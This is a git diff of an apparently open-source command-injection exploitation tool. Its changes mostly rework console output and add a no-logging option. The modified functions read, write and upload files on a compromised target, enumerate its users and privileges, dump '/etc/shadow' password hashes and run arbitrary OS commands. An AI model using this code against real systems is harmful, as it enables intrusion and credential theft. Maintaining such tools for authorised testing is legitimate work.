tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) session_handler.store_cmd(url, cmd, output, vuln_parameter) _ = True - new_line = "\n" else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) shell = output @@ -61,17 +60,17 @@ def file_read(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, info_msg += "'" + Style.RESET_ALL + " : " sys.stdout.write(settings.print_bold_info_msg(info_msg)) sys.stdout.flush() - print(shell) + sys.stdout.write(shell) output_file = open(filename, "a") - info_msg = "The contents of file '" - info_msg += file_to_read + "' : " + shell + ".\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + if not menu.options.no_logging: + info_msg = "The contents of file '" + info_msg += file_to_read + "' : " + shell + ".\n" + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: warn_msg = "It seems that you don't have permissions " warn_msg += "to read the '" + file_to_read + "' file." - sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") - sys.stdout.flush() + print(settings.print_warning_msg(warn_msg)) """ Write to a file on the target host. @@ -81,8 +80,8 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, file_to_write = menu.options.file_write if not os.path.exists(file_to_write): warn_msg = "It seems that the provided local file '" + file_to_write + "', does not exist." - sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") - sys.stdout.flush() + print(settings.print_warning_msg(warn_msg)) + print(settings.SINGLE_WHITESPACE) raise SystemExit() if os.path.isfile(file_to_write): with open(file_to_write, 'r') as content_file: @@ -90,11 +89,11 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, content = "".join(str(p) for p in content).replace("'", "\"") if settings.TARGET_OS == "win": import base64 - content = base64.b64encode(content) + content = base64.b64encode(content.encode(settings.DEFAULT_CODEC)).decode() else: warn_msg = "It seems that '" + file_to_write + "' is not a file." - sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") - sys.stdout.flush() + print(settings.print_warning_msg(warn_msg)) + print(settings.SINGLE_WHITESPACE) if os.path.split(menu.options.file_dest)[1] == "" : dest_to_write = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_write)[1] elif os.path.split(menu.options.file_dest)[0] == "/": @@ -153,14 +152,12 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, if settings.VERBOSITY_LEVEL == 0 and _: print(settings.SINGLE_WHITESPACE) if shell: - info_msg = "The '" + shell + Style.RESET_ALL - info_msg += Style.BRIGHT + "' file was created successfully!\n" - sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg)) - sys.stdout.flush() + info_msg = "The '" + shell + info_msg += Style.RESET_ALL + Style.BRIGHT + "' file was created successfully." + print(settings.print_bold_info_msg(info_msg)) else: warn_msg = "It seems that you don't have permissions to write the '" + dest_to_write + "' file." - sys.stdout.write("\n" + settings.print_warning_msg(warn_msg) + "\n") - sys.stdout.flush() + print(settings.print_warning_msg(warn_msg)) """ Upload a file on the target host. @@ -182,8 +179,8 @@ def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec raise SystemExit() except ValueError as err_msg: err_msg = str(err_msg[0]).capitalize() + str(err_msg)[1] - sys.stdout.write(settings.print_critical_msg(err_msg) + "\n") - sys.stdout.flush() + print(settings.print_critical_msg(err_msg)) + print(settings.SINGLE_WHITESPACE) raise SystemExit() # Check the file-destination if os.path.split(menu.options.file_dest)[1] == "" : @@ -212,14 +209,12 @@ def file_upload(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec if settings.VERBOSITY_LEVEL == 0 and _: print(settings.SINGLE_WHITESPACE) if shell: - info_msg = "The '" + shell + Style.RESET_ALL - info_msg += Style.BRIGHT + "' file was uploaded successfully!" - sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg) + "\n") - sys.stdout.flush() + info_msg = "The '" + shell + info_msg += Style.RESET_ALL + Style.BRIGHT + "' file was uploaded successfully." + print(settings.print_bold_info_msg(info_msg)) else: - warn_msg = "It seems that you don't have permissions to " - warn_msg += "write the '" + dest_to_upload + "' file." - sys.stdout.write("\n" + settings.print_warning_msg(warn_msg) + "\n") + warn_msg = "It seems that you don't have permissions to write the '" + dest_to_upload + "' file." + print(settings.print_warning_msg(warn_msg)) """ Check the defined options diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py index 7335eb83da..fbdda83d12 100755 --- a/src/core/injections/blind/techniques/time_based/tb_handler.py +++ b/src/core/injections/blind/techniques/time_based/tb_handler.py @@ -481,8 +481,6 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r # Export injection result tb_injector.export_injection_results(cmd, separator, output, check_how_long) print(settings.SINGLE_WHITESPACE) - logs.print_logs_notification(filename, url) - raise SystemExit() if not new_line : print(settings.SINGLE_WHITESPACE) diff --git a/src/core/injections/results_based/techniques/classic/cb_enumeration.py b/src/core/injections/results_based/techniques/classic/cb_enumeration.py index 462cb5f407..b7c83e3d25 100755 --- a/src/core/injections/results_based/techniques/classic/cb_enumeration.py +++ b/src/core/injections/results_based/techniques/classic/cb_enumeration.py @@ -58,8 +58,9 @@ def powershell_version(separator, TAG, prefix, suffix, whitespace, http_request_ sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") - info_msg = "The PowerShell's version number is " + ps_version + ".\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + if not menu.options.no_logging: + info_msg = "The PowerShell's version number is " + ps_version + ".\n" + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() except ValueError: warn_msg = "Heuristics have failed to identify the version of Powershell, " @@ -94,8 +95,9 @@ def hostname(separator, TAG, prefix, suffix, whitespace, http_request_method, ur sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") - info_msg = "The hostname is " + str(shell) + ".\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + if not menu.options.no_logging: + info_msg = "The hostname is " + str(shell) + ".\n" + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: warn_msg = "Heuristics have failed to identify the hostname." @@ -166,9 +168,10 @@ def system_information(separator, TAG, prefix, suffix, whitespace, http_request_ sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") - info_msg = "The target operating system is " + str(target_os) - info_msg += " and the hardware platform is " + str(target_arch) + ".\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + if not menu.options.no_logging: + info_msg = "The target operating system is " + str(target_os) + info_msg += " and the hardware platform is " + str(target_arch) + ".\n" + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: warn_msg = "Heuristics have failed to retrieve the system information." @@ -219,8 +222,9 @@ def current_user(separator, TAG, prefix, suffix, whitespace, http_request_method sys.stdout.write(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. output_file = open(filename, "a") - info_msg = "The current user is " + cu_account - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + if not menu.options.no_logging: + info_msg = "The current user is " + cu_account + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() if shell: if (settings.TARGET_OS == "win" and not "Admin" in shell) or \ @@ -229,14 +233,16 @@ def current_user(separator, TAG, prefix, suffix, whitespace, http_request_method sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") - output_file.write(" and it is not privileged.\n") + if not menu.options.no_logging: + output_file.write(" and it is not privileged.\n") output_file.close() else: sys.stdout.write(Style.BRIGHT + " and it is " + Style.RESET_ALL + Style.BRIGHT + "privileged" + Style.RESET_ALL + ".\n") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") - output_file.write(" and it is privileged.\n") + if not menu.options.no_logging: + output_file.write(" and it is privileged.\n") output_file.close() else: info_msg = "The current user is " + str(cu_account) @@ -244,8 +250,9 @@ def current_user(separator, TAG, prefix, suffix, whitespace, http_request_method sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") - info_msg = "The current user is " + cu_account + "\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + if not menu.options.no_logging: + info_msg = "The current user is " + cu_account + "\n" + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: warn_msg = "Heuristics have failed to identify the current user." @@ -298,7 +305,8 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + if not menu.options.no_logging: + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() count = 0 for user in range(0, len(sys_users_list)): @@ -326,7 +334,8 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method print(" (" +str(count)+ ") '" + Style.BRIGHT + sys_users_list[user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + ".") # Add infos to logs file. output_file = open(filename, "a") - output_file.write(" (" +str(count)+ ") " + sys_users_list[user] + is_privileged + ".\n" ) + if not menu.options.no_logging: + output_file.write(" (" +str(count)+ ") " + sys_users_list[user] + is_privileged + ".\n" ) output_file.close() else: sys.stdout.write(settings.FAIL_STATUS) @@ -369,7 +378,8 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method sys_users = " ".join(str(p) for p in sys_users).strip() print(sys_users) output_file = open(filename, "a") - output_file.write(" " + sys_users) + if not menu.options.no_logging: + output_file.write(" " + sys_users) output_file.close() else: sys_users_list = [] @@ -384,7 +394,8 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + if not menu.options.no_logging: + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() count = 0 for user in range(0, len(sys_users_list)): @@ -423,7 +434,8 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method print(" (" +str(count)+ ") '" + Style.BRIGHT + fields[0]+ Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.") # Add infos to logs file. output_file = open(filename, "a") - output_file.write(" (" +str(count)+ ") '" + fields[0]+ "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) + if not menu.options.no_logging: + output_file.write(" (" +str(count)+ ") '" + fields[0]+ "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) output_file.close() except ValueError: if count == 1 : @@ -433,7 +445,8 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method sys_users = " ".join(str(p) for p in sys_users.split(":")) print(sys_users) output_file = open(filename, "a") - output_file.write(" " + sys_users) + if not menu.options.no_logging: + output_file.write(" " + sys_users) output_file.close() else: sys.stdout.write(settings.FAIL_STATUS) @@ -493,7 +506,8 @@ def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_me sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg ) + if not menu.options.no_logging: + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg ) output_file.close() count = 0 for line in sys_passes: @@ -505,7 +519,8 @@ def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_me print(" (" +str(count)+ ") " + Style.BRIGHT + fields[0]+ Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL) # Add infos to logs file. output_file = open(filename, "a") - output_file.write(" (" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n") + if not menu.options.no_logging: + output_file.write(" (" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n") output_file.close() # Check for appropriate '/etc/shadow' format. except IndexError: @@ -515,7 +530,8 @@ def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_me sys.stdout.write(settings.print_warning_msg(warn_msg)+ "\n") print(fields[0]) output_file = open(filename, "a") - output_file.write(" " + fields[0]) + if not menu.options.no_logging: + output_file.write(" " + fields[0]) output_file.close() else: sys.stdout.write(settings.FAIL_STATUS) @@ -529,6 +545,10 @@ def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_me """ def single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): cmd = menu.options.os_cmd + if menu.file_access_options(): + sys.stdout.flush() + info_msg = "Executing '" + cmd + "' command." + print(settings.print_info_msg(info_msg)) if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) @@ -547,13 +567,10 @@ def single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_ print(settings.SINGLE_WHITESPACE) print(settings.command_execution_output(shell)) print(settings.SINGLE_WHITESPACE) - logs.print_logs_notification(filename, url) - else: - if settings.VERBOSITY_LEVEL <= 1: - print(settings.SINGLE_WHITESPACE) - err_msg = "The '" + cmd + "' command, does not return any output." - print(settings.print_critical_msg(err_msg)) - print(settings.SINGLE_WHITESPACE) + else: + err_msg = "The '" + cmd + "' command, does not return any output." + print(settings.print_critical_msg(err_msg)) + print(settings.SINGLE_WHITESPACE) """ Check the defined options diff --git a/src/core/injections/results_based/techniques/classic/cb_file_access.py b/src/core/injections/results_based/techniques/classic/cb_file_access.py index e8b7c86ca9..20e6042e57 100755 --- a/src/core/injections/results_based/techniques/classic/cb_file_access.py +++ b/src/core/injections/results_based/techniques/classic/cb_file_access.py @@ -61,16 +61,15 @@ def file_read(separator, TAG, prefix, suffix, whitespace, http_request_method, u sys.stdout.write(settings.print_bold_info_msg(info_msg)) print(shell) output_file = open(filename, "a") - info_msg = "The contents of file '" - info_msg += file_to_read + "' : " + shell + ".\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + if not menu.options.no_logging: + info_msg = "The contents of file '" + info_msg += file_to_read + "' : " + shell + ".\n" + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: warn_msg = "It seems that you don't have permissions " warn_msg += "to read the '" + file_to_read + "' file." - sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") - sys.stdout.flush() - + print(settings.print_warning_msg(warn_msg)) """ Write to a file on the target host. """ @@ -78,8 +77,8 @@ def file_write(separator, TAG, prefix, suffix, whitespace, http_request_method, file_to_write = menu.options.file_write if not os.path.exists(file_to_write): warn_msg = "It seems that the provided local file '" + file_to_write + "', does not exist." - sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") - sys.stdout.flush() + print(settings.print_warning_msg(warn_msg)) + print(settings.SINGLE_WHITESPACE) raise SystemExit() if os.path.isfile(file_to_write): @@ -88,11 +87,11 @@ def file_write(separator, TAG, prefix, suffix, whitespace, http_request_method, content = "".join(str(p) for p in content).replace("'", "\"") if settings.TARGET_OS == "win": import base64 - content = base64.b64encode(content) + content = base64.b64encode(content.encode(settings.DEFAULT_CODEC)).decode() else: warn_msg = "It seems that '" + file_to_write + "' is not a file." - sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") - sys.stdout.flush() + print(settings.print_warning_msg(warn_msg)) + print(settings.SINGLE_WHITESPACE) if os.path.split(menu.options.file_dest)[1] == "" : dest_to_write = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_write)[1] @@ -148,17 +147,15 @@ def file_write(separator, TAG, prefix, suffix, whitespace, http_request_method, response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) shell = cb_injector.injection_results(response, TAG, cmd) shell = "".join(str(p) for p in shell) - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) + #if settings.VERBOSITY_LEVEL != 0: + # print(settings.SINGLE_WHITESPACE) if shell: - info_msg = "The " + shell + Style.RESET_ALL - info_msg += Style.BRIGHT + " file was created successfully!" + "\n" - sys.stdout.write(settings.print_bold_info_msg(info_msg)) - sys.stdout.flush() + info_msg = "The '" + shell + info_msg += Style.RESET_ALL + Style.BRIGHT + "' file was created successfully." + print(settings.print_bold_info_msg(info_msg)) else: warn_msg = "It seems that you don't have permissions to write the '" + dest_to_write + "' file." - sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") - sys.stdout.flush() + print(settings.print_warning_msg(warn_msg)) """ Upload a file on the target host. @@ -174,13 +171,13 @@ def file_upload(separator, TAG, prefix, suffix, whitespace, http_request_method, _urllib.request.urlopen(file_to_upload, timeout=settings.TIMEOUT) except _urllib.error.HTTPError as err_msg: warn_msg = "It seems that the '" + file_to_upload + "' file, does not exist. (" +str(err_msg)+ ")" - sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") - sys.stdout.flush() + print(settings.print_warning_msg(warn_msg)) + print(settings.SINGLE_WHITESPACE) raise SystemExit() except ValueError as err_msg: err_msg = str(err_msg[0]).capitalize() + str(err_msg)[1] - sys.stdout.write(settings.print_critical_msg(err_msg) + "\n") - sys.stdout.flush() + print(settings.print_critical_msg(err_msg)) + print(settings.SINGLE_WHITESPACE) raise SystemExit() # Check the file-destination @@ -210,14 +207,12 @@ def file_upload(separator, TAG, prefix, suffix, whitespace, http_request_method, if settings.VERBOSITY_LEVEL != 0: print(settings.SINGLE_WHITESPACE) if shell: - info_msg = "The " + shell - info_msg += Style.RESET_ALL + Style.BRIGHT + " file was uploaded successfully!" - sys.stdout.write(settings.print_bold_info_msg(info_msg) + "\n") - sys.stdout.flush() + info_msg = "The '" + shell + info_msg += Style.RESET_ALL + Style.BRIGHT + "' file was uploaded successfully." + print(settings.print_bold_info_msg(info_msg)) else: warn_msg = "It seems that you don't have permissions to write the '" + dest_to_upload + "' file." - sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") - sys.stdout.flush() + print(settings.print_warning_msg(warn_msg)) """ Check the defined options diff --git a/src/core/injections/results_based/techniques/classic/cb_handler.py b/src/core/injections/results_based/techniques/classic/cb_handler.py index 09968cb28c..8d11592ddf 100755 --- a/src/core/injections/results_based/techniques/classic/cb_handler.py +++ b/src/core/injections/results_based/techniques/classic/cb_handler.py @@ -346,7 +346,7 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ # if not menu.enumeration_options(): # print(settings.SINGLE_WHITESPACE) cb_file_access.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - print(settings.SINGLE_WHITESPACE) + # print(settings.SINGLE_WHITESPACE) # Check if defined single cmd. if menu.options.os_cmd: diff --git a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py index 97dfe1dd38..bed06de214 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py @@ -63,8 +63,9 @@ def powershell_version(separator, TAG, prefix, suffix, whitespace, http_request_ sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") - info_msg = "The PowerShell's version number is " + ps_version + ".\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + if not menu.options.no_logging: + info_msg = "The PowerShell's version number is " + ps_version + ".\n" + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() except ValueError: warn_msg = "Heuristics have failed to identify the version of Powershell, " @@ -94,12 +95,13 @@ def hostname(separator, TAG, prefix, suffix, whitespace, http_request_method, ur shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) if shell: info_msg = "The hostname is " + str(shell) + "." - sys.stdout.write(settings.print_bold_info_msg(info_msg) + "\n") + print(settings.print_bold_info_msg(info_msg) + "\n") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") - info_msg = "The hostname is " + str(shell) + ".\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + if not menu.options.no_logging: + info_msg = "The hostname is " + str(shell) + ".\n" + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: warn_msg = "Heuristics have failed to identify the hostname." @@ -166,9 +168,10 @@ def system_information(separator, TAG, prefix, suffix, whitespace, http_request_ sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") - info_msg = "The target operating system is " + str(target_os) - info_msg += " and the hardware platform is " + str(target_arch) + ".\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + if not menu.options.no_logging: + info_msg = "The target operating system is " + str(target_os) + info_msg += " and the hardware platform is " + str(target_arch) + ".\n" + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: warn_msg = "Heuristics have failed to retrieve the system information." @@ -223,8 +226,9 @@ def current_user(separator, TAG, prefix, suffix, whitespace, http_request_method sys.stdout.write(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. output_file = open(filename, "a") - info_msg = "The current user is " + str(cu_account) - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + if not menu.options.no_logging: + info_msg = "The current user is " + str(cu_account) + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() if shell: if (settings.TARGET_OS == "win" and not "Admin" in shell) or \ @@ -233,14 +237,16 @@ def current_user(separator, TAG, prefix, suffix, whitespace, http_request_method sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") - output_file.write(" and it is not privileged.\n") + if not menu.options.no_logging: + output_file.write(" and it is not privileged.\n") output_file.close() else: sys.stdout.write(Style.BRIGHT + " and it is " + Style.RESET_ALL + Style.BRIGHT + "privileged" + Style.RESET_ALL + ".\n") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") - output_file.write(" and it is privileged.\n") + if not menu.options.no_logging: + output_file.write(" and it is privileged.\n") output_file.close() else: info_msg = "The current user is " + str(cu_account) @@ -248,8 +254,9 @@ def current_user(separator, TAG, prefix, suffix, whitespace, http_request_method sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") - info_msg = "The current user is " + str(cu_account) + "\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + if not menu.options.no_logging: + info_msg = "The current user is " + str(cu_account) + "\n" + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: warn_msg = "Heuristics have failed to identify the current user." @@ -301,8 +308,9 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() + if not menu.options.no_logging: + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + output_file.close() count = 0 for user in range(0, len(sys_users_list)): count = count + 1 @@ -330,7 +338,8 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method print(" (" +str(count)+ ") '" + Style.BRIGHT + sys_users_list[user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + ".") # Add infos to logs file. output_file = open(filename, "a") - output_file.write(" (" +str(count)+ ") " + sys_users_list[user] + is_privileged + ".\n" ) + if not menu.options.no_logging: + output_file.write(" (" +str(count)+ ") " + sys_users_list[user] + is_privileged + ".\n" ) output_file.close() else: sys.stdout.write(settings.FAIL_STATUS) @@ -371,7 +380,8 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method sys_users = " ".join(str(p) for p in sys_users).strip() print(sys_users) output_file = open(filename, "a") - output_file.write(" " + sys_users) + if not menu.options.no_logging: + output_file.write(" " + sys_users) output_file.close() else: sys_users_list = [] @@ -386,7 +396,8 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + if not menu.options.no_logging: + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() count = 0 for user in range(0, len(sys_users_list)): @@ -425,7 +436,8 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method print(" (" +str(count)+ ") '" + Style.BRIGHT + fields[0]+ Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.") # Add infos to logs file. output_file = open(filename, "a") - output_file.write(" (" +str(count)+ ") '" + fields[0]+ "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) + if not menu.options.no_logging: + output_file.write(" (" +str(count)+ ") '" + fields[0]+ "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) output_file.close() except ValueError: if count == 1 : @@ -435,7 +447,8 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method sys_users = " ".join(str(p) for p in sys_users.split(":")) print(sys_users) output_file = open(filename, "a") - output_file.write(" " + sys_users) + if not menu.options.no_logging: + output_file.write(" " + sys_users) output_file.close() else: sys.stdout.write(settings.FAIL_STATUS) @@ -496,7 +509,8 @@ def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_me sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg ) + if not menu.options.no_logging: + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg ) output_file.close() count = 0 for line in sys_passes: @@ -508,7 +522,8 @@ def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_me print(" (" +str(count)+ ") " + Style.BRIGHT + fields[0]+ Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL) # Add infos to logs file. output_file = open(filename, "a") - output_file.write(" (" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n") + if not menu.options.no_logging: + output_file.write(" (" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n") output_file.close() # Check for appropriate '/etc/shadow' format. except IndexError: @@ -518,7 +533,8 @@ def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_me sys.stdout.write(settings.print_warning_msg(warn_msg)+ "\n") print(fields[0]) output_file = open(filename, "a") - output_file.write(" " + fields[0]) + if not menu.options.no_logging: + output_file.write(" " + fields[0]) output_file.close() else: sys.stdout.write(settings.FAIL_STATUS) @@ -532,6 +548,8 @@ def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_me """ def single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): cmd = menu.options.os_cmd + info_msg = "Executing '" + cmd + "' command." + print(settings.print_info_msg(info_msg)) if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) @@ -550,10 +568,7 @@ def single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_ print(settings.SINGLE_WHITESPACE) print(settings.command_execution_output(shell)) print(settings.SINGLE_WHITESPACE) - logs.print_logs_notification(filename, url) else: - if settings.VERBOSITY_LEVEL <= 1: - print(settings.SINGLE_WHITESPACE) err_msg = "The '" + cmd + "' command, does not return any output." print(settings.print_critical_msg(err_msg)) 